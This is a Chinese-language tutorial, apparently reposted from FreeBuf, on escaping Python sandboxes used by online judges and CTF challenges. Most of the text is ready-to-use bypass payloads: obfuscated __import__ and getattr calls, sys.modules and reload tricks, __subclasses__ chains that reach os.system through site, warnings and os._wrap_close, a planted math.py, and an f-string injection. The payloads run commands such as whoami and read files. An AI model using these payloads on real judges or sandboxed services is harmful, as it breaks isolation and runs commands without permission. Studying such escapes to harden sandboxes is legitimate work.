前言
沙箱逃逸本质上最终目的是执行任意系统命令,次一点的是写文件,再次一点的是读文件。
一般在在线oj (online judge )
中或者在CTF
比赛中为了防止恶意用户任意执行Python
代码而做出的一些限制,一般将Python
运行在沙箱中。沙箱会对一些敏感的函数进行禁用,例如os
。我们所需要做的便是研究如何逃逸沙箱与相应的防护措施。
系统命令
一般来说在Python
中可以执行系统命令的方式有许多种:
1 2 3 4 5 6 7 8 9 os commands:仅限2 .x subprocess timeit:timeit.sys、timeit.timeit ("__import__('os').system('whoami')" , number=1 ) platform:platform.os、platform.sys、platform.popen ('whoami' , mode='r' , bufsize=-1 ).read () pty:pty.spawn ('ls' )、pty.os bdb:bdb.os、cgi.sys cgi:cgi.os、cgi.sys ...
一般来说通过这些函数库我们便可以执行任意高危指令,对于oj
平台来说如果不采取措施应对,那就只有被打的份了。
导入 import 的各种方式
我们如果直接禁用import os
会怎么样?
1 2 3 import osimport osimport os
可以看到如果我们多加入几个空格就可以绕过这个防护,同时Python 能够 import 的可不止 import
,还有 __import__
:__import__('os')
,__import__
被干了还有 importlib
:importlib.import_module('os').system('ls')
这样就安全了吗?实际上import
可以通过其他方式完成。回想一下 import
的原理,本质上就是执行一遍导入的库。这个过程实际上可以用 execfile
来代替:
1 2 execfile('/usr/lib/python2.7/os.py' ) system('ls' )
不过要注意,2.x
才能用,3.x
删了 execfile
,不过可以这样:
1 2 3 with open ('/usr/lib/python3.6/os.py' ,'r' ) as f: exec (f.read()) system('ls' )
这个方法倒是 2.x
、3.x
通用的。
不过要使用上面的这两种方法,就必须知道库的路径。其实在大多数的环境下,库都是默认路径。如果 sys
没被干掉的话,还可以确认一下,:
1 2 import sysprint (sys.path)
花式处理字符串
如果在代码中禁用了os
,我们还可以通过字符串各种方式的变换来实现引入:
1 2 3 4 5 __import__ ('so' [::-1 ]).system('ls' ) ---------------------------------------- b = 'o' a = 's' __import__ (a+b).system('ls' )
或者
1 2 3 eval (')"imaohw"(metsys.)"so"(__tropmi__' [::-1 ]) ----------------------------------------exec (')"imaohw"(metsys.so ;so tropmi' [::-1 ])
eval
、exec
都是相当危险的函数,exec
比 eval
还要危险,它们一定要过滤,因为字符串有很多变形的方式,对字符串的处理可以有:逆序、变量拼接、Base64
、hex
、rot13
等等方式构造出来…
恢复 sys.modules
sys.modules
是一个字典,里面储存了加载过的模块信息。如果 Python
是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库例如 os
是默认被加载进来的,但是不能直接使用,原因在于 sys.modules
中未经 import
加载的模块对当前空间是不可见的。
如果将 os
从 sys.modules
中剔除,os
就彻底没法用了:
1 2 3 4 5 6 >>> sys.modules['os' ] = 'not allowed' >>> import os>>> os.system('ls' ) Traceback (most recent call last): File "<stdin>" , line 1 , in <module> AttributeError: 'str' object has no attribute 'system'
注意,这里不能用 del sys.modules['os']
,因为,当 import 一个模块时:import A
,检查 sys.modules
中是否已经有 A,如果有则不加载,如果没有则为 A
创建 module
对象,并加载 A
。
所以删了 sys.modules['os']
只会让 Python
重新加载一次 os
。
看到这你肯定发现了,对于上面的过滤方式,绕过的方式可以是这样:
1 2 3 4 5 sys.modules['os' ] = 'not allowed' del sys.modules['os' ]import os os.system('ls' )
最后还有一种利用 __builtins__
导入的方式,下面会详细说。
花式执行函数
通过上面内容我们很容易发现,光引入 os
只不过是第一步,如果把 system
这个函数干掉,也没法通过os.system
执行系统命令,并且这里的system
也不是字符串,也没法直接做编码等等操作。我遇到过一个环境,直接在/usr/lib/python2.7/os.py
中删了system
函数。。。
不过,要明确的是,os
中能够执行系统命令的函数有很多:
1 2 3 4 5 6 print (os.system('whoami' ))print (os.popen('whoami' ).read()) print (os.popen2('whoami' ).read()) print (os.popen3('whoami' ).read()) print (os.popen4('whoami' ).read()) ...
应该还有一些,可以在这里找找:
2.x 传送门
3.x 传送门
过滤system
的时候说不定还有其他函数给漏了。
其次,可以通过 getattr
拿到对象的方法、属性:
1 2 import osgetattr (os, 'metsys' [::-1 ])('whoami' )
不让出现 import也没事:
1 getattr (getattr (__builtins__, '__tropmi__' [::-1 ])('so' [::-1 ]), 'metsys' [::-1 ])('whoami' )
一样可以。这个方法同样可以用于逃逸过滤 import 的沙箱。关于 __builtins__
,见下文。
与 getattr
相似的还有 __getattr__
、__getattribute__
,它们自己的区别就是getattr
相当于class.attr
,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__
,如果__getattribute__
找不到,则触发__getattr__
,还找不到则报错。更具体的这里就不解释了,有兴趣的话可以搜搜。
builtins 、builtin 与 builtins
先说一下,builtin
、builtins
,__builtin__
与__builtins__
的区别:首先我们知道,在 Python
中,有很多函数不需要任何 import
就可以直接使用,例如chr
、open
。之所以可以这样,是因为 Python
有个叫内建模块
(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。顺便说一下,Python
对函数、变量、类等等的查找方式是按 LEGB
规则来找的,其中 B 即代表内建模块,这里也不再赘述了,有兴趣的搜搜就明白了。
在 2.x
版本中,内建模块被命名为 __builtin__
,到了 3.x 就成了 builtins
。它们都需要 import
才能查看:
2.x:
1 2 3 >>> import __builtin__>>> __builtin__ <module '__builtin__' (built-in )>
3.x:
1 2 3 >>> import builtins>>> builtins <module 'builtins' (built-in )>
但是,__builtins__
两者都有,实际上是__builtin__
和builtins
的引用。它不需要导入,我估计是为了统一 2.x
和 3.x
。不过__builtins__
与__builtin__
和builtins
是有一点区别的,感兴趣的话建议查一下,这里就不啰嗦了。不管怎么样,__builtins__
相对实用一点,并且在 __builtins__
里有很多好东西:
1 2 3 4 5 6 7 '__import__' in dir (__builtins__) ------------------------------------- __builtins__.__dict__['__import__' ]('os' ).system('whoami' ) -------------------------------------'eval' in dir (__builtins__) -------------------------------------'execfile' in dir (__builtins__)
那么既然__builtins__
有这么多危险的函数,不如将里面的危险函数破坏了:
1 __builtins__.__dict__['eval' ] = 'not allowed'
或者直接删了:
1 del __builtins__.__dict__['eval' ]
但是我们可以利用 reload(__builtins__)
来恢复 __builtins__
。不过,我们在使用 reload
的时候也没导入,说明reload
也在 __builtins__
里,那如果连reload
都从__builtins__
中删了,就没法恢复__builtins__
了,需要另寻他法。还有一种情况是利用 exec command in _global
动态运行语句时的绕过,比如实现一个计算器的时候,在最后有给出例子。
这里注意,2.x 的 reload
是内建的,3.x 需要 import imp
,然后再 imp.reload
。你看,reload 的参数是 module
,所以肯定还能用于重新载入其他模块,这个放在下面说。
通过继承关系逃逸
在 Python 中提到继承就不得不提 mro
,mro
就是方法解析顺序,因为 Python 支持多重继承,所以就必须有个方式判断某个方法到底是 A 的还是 B 的。2.2 之前是经典类,搜索是深度优先;经典类后来发展为新式类,使用广度优先搜索,再后来新式类的搜索变为 C3 算法;而 3.x 中新式类一统江湖,默认继承 object
,当然也是使用的 C3 搜索算法。。。扯远了扯远了,感兴趣的可以搜搜。不管怎么说,总是让人去判断继承关系显然是反人类的,所以 Python 中新式类都有个属性,叫__mro__
,是个元组,记录了继承关系:
1 2 >>> '' .__class__.__mro__ (<class 'str '>, <class 'object '>)
类的实例在获取 __class__
属性时会指向该实例对应的类。可以看到,''
属于 str
类,它继承了 object
类,这个类是所有类的超类。具有相同功能的还有__base__
和__bases__
。需要注意的是,经典类需要指明继承 object 才会继承它,否则是不会继承的:
1 2 3 4 5 6 7 8 9 >>> class test :... pass ...>>> test.__bases__>>> class test (object ):... pass ...>>> test.__bases__ (<type 'object' >,)
那么知道这个有什么用呢?
由于没法直接引入 os,那么假如有个库叫oos
,在oos
中引入了os
,那么我们就可以通过__globals__
拿到 os(__globals__
是函数所在的全局命名空间中所定义的全局变量)。例如,site
这个库就有 os
:
也就是说,能引入 site 的话,就相当于有 os。那如果 site 也被禁用了呢?没事,本来也就没打算直接 import site
。可以利用 reload
,变相加载 os
:
1 2 3 4 5 6 7 >>> import site>>> os Traceback (most recent call last): File "<stdin>" , line 1 , in <module> NameError: name 'os' is not defined>>> os = reload(site.os)>>> os.system('whoami' )
还有,既然所有的类都继承的object
,那么我们先用__subclasses__
看看它的子类,以 2.x 为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 >>> for i in enumerate ('' .__class__.__mro__[-1 ].__subclasses__()): print i ... (0 , <type 'type' >) (1 , <type 'weakref' >) (2 , <type 'weakcallableproxy' >) (3 , <type 'weakproxy' >) (4 , <type 'int' >) (5 , <type 'basestring' >) (6 , <type 'bytearray' >) (7 , <type 'list' >) (8 , <type 'NoneType' >) (9 , <type 'NotImplementedType' >) (10 , <type 'traceback' >) (11 , <type 'super' >) (12 , <type 'xrange' >) (13 , <type 'dict' >) (14 , <type 'set' >) (15 , <type 'slice' >) (16 , <type 'staticmethod' >) (17 , <type 'complex' >) (18 , <type 'float' >) (19 , <type 'buffer' >) (20 , <type 'long' >) (21 , <type 'frozenset' >) (22 , <type 'property' >) (23 , <type 'memoryview' >) (24 , <type 'tuple' >) (25 , <type 'enumerate' >) (26 , <type 'reversed' >) (27 , <type 'code' >) (28 , <type 'frame' >) (29 , <type 'builtin_function_or_method' >) (30 , <type 'instancemethod' >) (31 , <type 'function' >) (32 , <type 'classobj' >) (33 , <type 'dictproxy' >) (34 , <type 'generator' >) (35 , <type 'getset_descriptor' >) (36 , <type 'wrapper_descriptor' >) (37 , <type 'instance' >) (38 , <type 'ellipsis' >) (39 , <type 'member_descriptor' >) (40 , <type 'file' >) (41 , <type 'PyCapsule' >) (42 , <type 'cell' >) (43 , <type 'callable-iterator' >) (44 , <type 'iterator' >) (45 , <type 'sys.long_info' >) (46 , <type 'sys.float_info' >) (47 , <type 'EncodingMap' >) (48 , <type 'fieldnameiterator' >) (49 , <type 'formatteriterator' >) (50 , <type 'sys.version_info' >) (51 , <type 'sys.flags' >) (52 , <type 'exceptions.BaseException' >) (53 , <type 'module' >) (54 , <type 'imp.NullImporter' >) (55 , <type 'zipimport.zipimporter' >) (56 , <type 'posix.stat_result' >) (57 , <type 'posix.statvfs_result' >) (58 , <class 'warnings .WarningMessage '>)(59 , <class 'warnings.catch_warnings' > ) (60 , <class '_weakrefset._IterationGuard' > ) (61 , <class '_weakrefset.WeakSet' > ) (62 , <class '_abcoll.Hashable' > ) (63 , <type 'classmethod' > ) (64 , <class '_abcoll.Iterable' > ) (65 , <class '_abcoll.Sized' > ) (66 , <class '_abcoll.Container' > ) (67 , <class '_abcoll.Callable' > ) (68 , <type 'dict_keys' > ) (69 , <type 'dict_items' > ) (70 , <type 'dict_values' > ) (71 , <class 'site._Printer' > ) (72 , <class 'site._Helper' > ) (73 , <type '_sre.SRE_Pattern' > ) (74 , <type '_sre.SRE_Match' > ) (75 , <type '_sre.SRE_Scanner' > ) (76 , <class 'site.Quitter' > ) (77 , <class 'codecs.IncrementalEncoder' > ) (78 , <class 'codecs.IncrementalDecoder' > )
可以看到,site 就在里面,以 2.x 的site._Printer
为例:
1 '' .__class__.__mro__[-1 ].__subclasses__()[71 ]._Printer__setup.__globals__['os' ]
os 又回来了。并且 site 中还有 __builtins__
。
这个方法不仅限于 A->os
,还可以是 A->B->os
,比如 2.x
中的 warnings
:
1 2 3 4 5 6 7 8 >>> import warnings>>> >>> warnings.os Traceback (most recent call last): File "<stdin>" , line 1 , in <module> AttributeError: 'module' object has no attribute 'os' >>> warnings.linecache >>> warnings.linecache.os
在继承链中就可以这样:
1 [].__class__.__base__.__subclasses__()[59 ].__init__.__globals__['linecache' ].__dict__['os' ].system('whoami' )
顺便说一下,warnings
这个库中有个函数:warnings.catch_warnings
,它有个_module
属性:
1 2 3 4 def __init__ (self, record=False , module=None ): ... self._module = sys.modules['warnings' ] if module is None else module ...
所以通过_module
也可以构造 payload:
1 [x for x in (1 ).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings' ][0 ]()._module.linecache.os.system('whoami' )
3.x 中的warnings
虽然没有 linecache
,也有__builtins__
。
同样,py3.x 中有<class 'os._wrap_close'>
,利用方式可以为:
1 '' .__class__.__mro__[-1 ].__subclasses__()[117 ].__init__.__globals__['system' ]('whoami' )
顺便提一下,object
本来就是可以使用的,如果没过滤这个变量的话,payload 可以简化为:
1 object .__subclasses__()[117 ].__init__.__globals__['system' ]('whoami' )
还有一种是利用builtin_function_or_method
的 __call__
:
1 "" .__class__.__mro__[-1 ].__subclasses__()[29 ].__call__(eval , '1+1' )
或者简单一点:
1 [].__getattribute__('append' ).__class__.__call__(eval , '1+1' )
还可以这样利用:
1 2 3 4 5 6 class test (dict ): def __init__ (self ): print (super (test, self).keys.__class__.__call__(eval , '1+1' )) test()
上面的这些利用方式总结起来就是通过__class__
、__mro__
、__subclasses__
、__bases__
等等属性/方法去获取 object
,再根据__globals__
找引入的__builtins__
或者eval
等等能够直接被利用的库,或者找到builtin_function_or_method
类/类型__call__
后直接运行eval
。
最后,继承链的逃逸还有一些利用第三方库的方式,比如 jinja2
,这类利用方式应该是叫 SSTI
,可以看这个:传送门 ,这里就不多说了。
文件读写
2.x 有个内建的 file
:
1 2 3 4 5 >>> file('key' ).read()'xxx\n' >>> file('key' , 'w' ).write('xxx' )>>> file('key' ).read()'xxx'
还有个 open
,2.x 与 3.x 通用。
还有一些库,例如:types.FileType
(rw)、platform.popen
(rw)、linecache.getlines
®。
为什么说写比读危害大呢?因为如果能写,可以将类似的文件保存为math.py
,然后 import 进来:
math.py :
1 2 import osprint (os.system('whoami' ))
调用
这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules
中有的,这些库无法这样利用,会直接从sys.modules
中加入,比如re
:
1 2 3 4 >>> 're' in sys.modulesTrue >>> 'math' in sys.modulesFalse
当然在import re
之前del sys.modules['re']
也不是不可以…
最后,这里的文件命名需要注意的地方和最开始的那个遍历测试的文件一样:由于待测试的库中有个叫 test
的,如果把遍历测试的文件也命名为 test,会导致那个文件运行 2 次,因为自己 import 了自己。
读文件暂时没什么发现特别的地方。
剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:
1 __builtins__.open ('key' ).read()
或者
1 ().__class__ .__base__ .__subclasses__ ()[40] ('key').read ()
其他
过滤[
、]
:这个行为不像是 oj 会做得出来的,ctf 倒是有可能出现。应对的方式就是将[]
的功能用pop
、__getitem__
代替(实际上a[0]
就是在内部调用了a.__getitem__(0)
):
1 '' .__class__.__mro__.__getitem__(2 ).__subclasses__().pop(59 ).__init__.func_globals.get('linecache' ).os.popen('whoami' ).read()
利用新特性:PEP 498 引入了 f-string
,在 3.6 开始出现:传送门 ,食用方式:传送门 。所以我们就有了一种船新的利用方式:
1 f'{__import__ ("os" ).system("whoami" )} '
文章来自于: https://www.freebuf.com/articles/system/203208.html
感谢师傅: Macr0phag3